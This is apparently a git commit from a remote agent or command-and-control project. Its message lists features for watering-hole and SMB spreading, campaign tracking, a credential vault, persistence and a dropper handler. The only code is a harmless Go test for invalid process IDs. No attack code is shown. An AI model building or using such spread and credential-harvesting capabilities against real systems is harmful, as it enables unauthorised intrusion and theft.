feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

agent/client/kill_process_test.go

@@ -0,0 +1,13 @@
+package client
+
+import "testing"
+
+func TestKillProcessByPIDInvalid(t *testing.T) {
+	ok, msg := killProcessByPID("not-a-pid")
+	if ok {
+		t.Fatal("expected failure for invalid pid")
+	}
+	if msg == "" {
+		t.Fatal("expected error message")
+	}
+}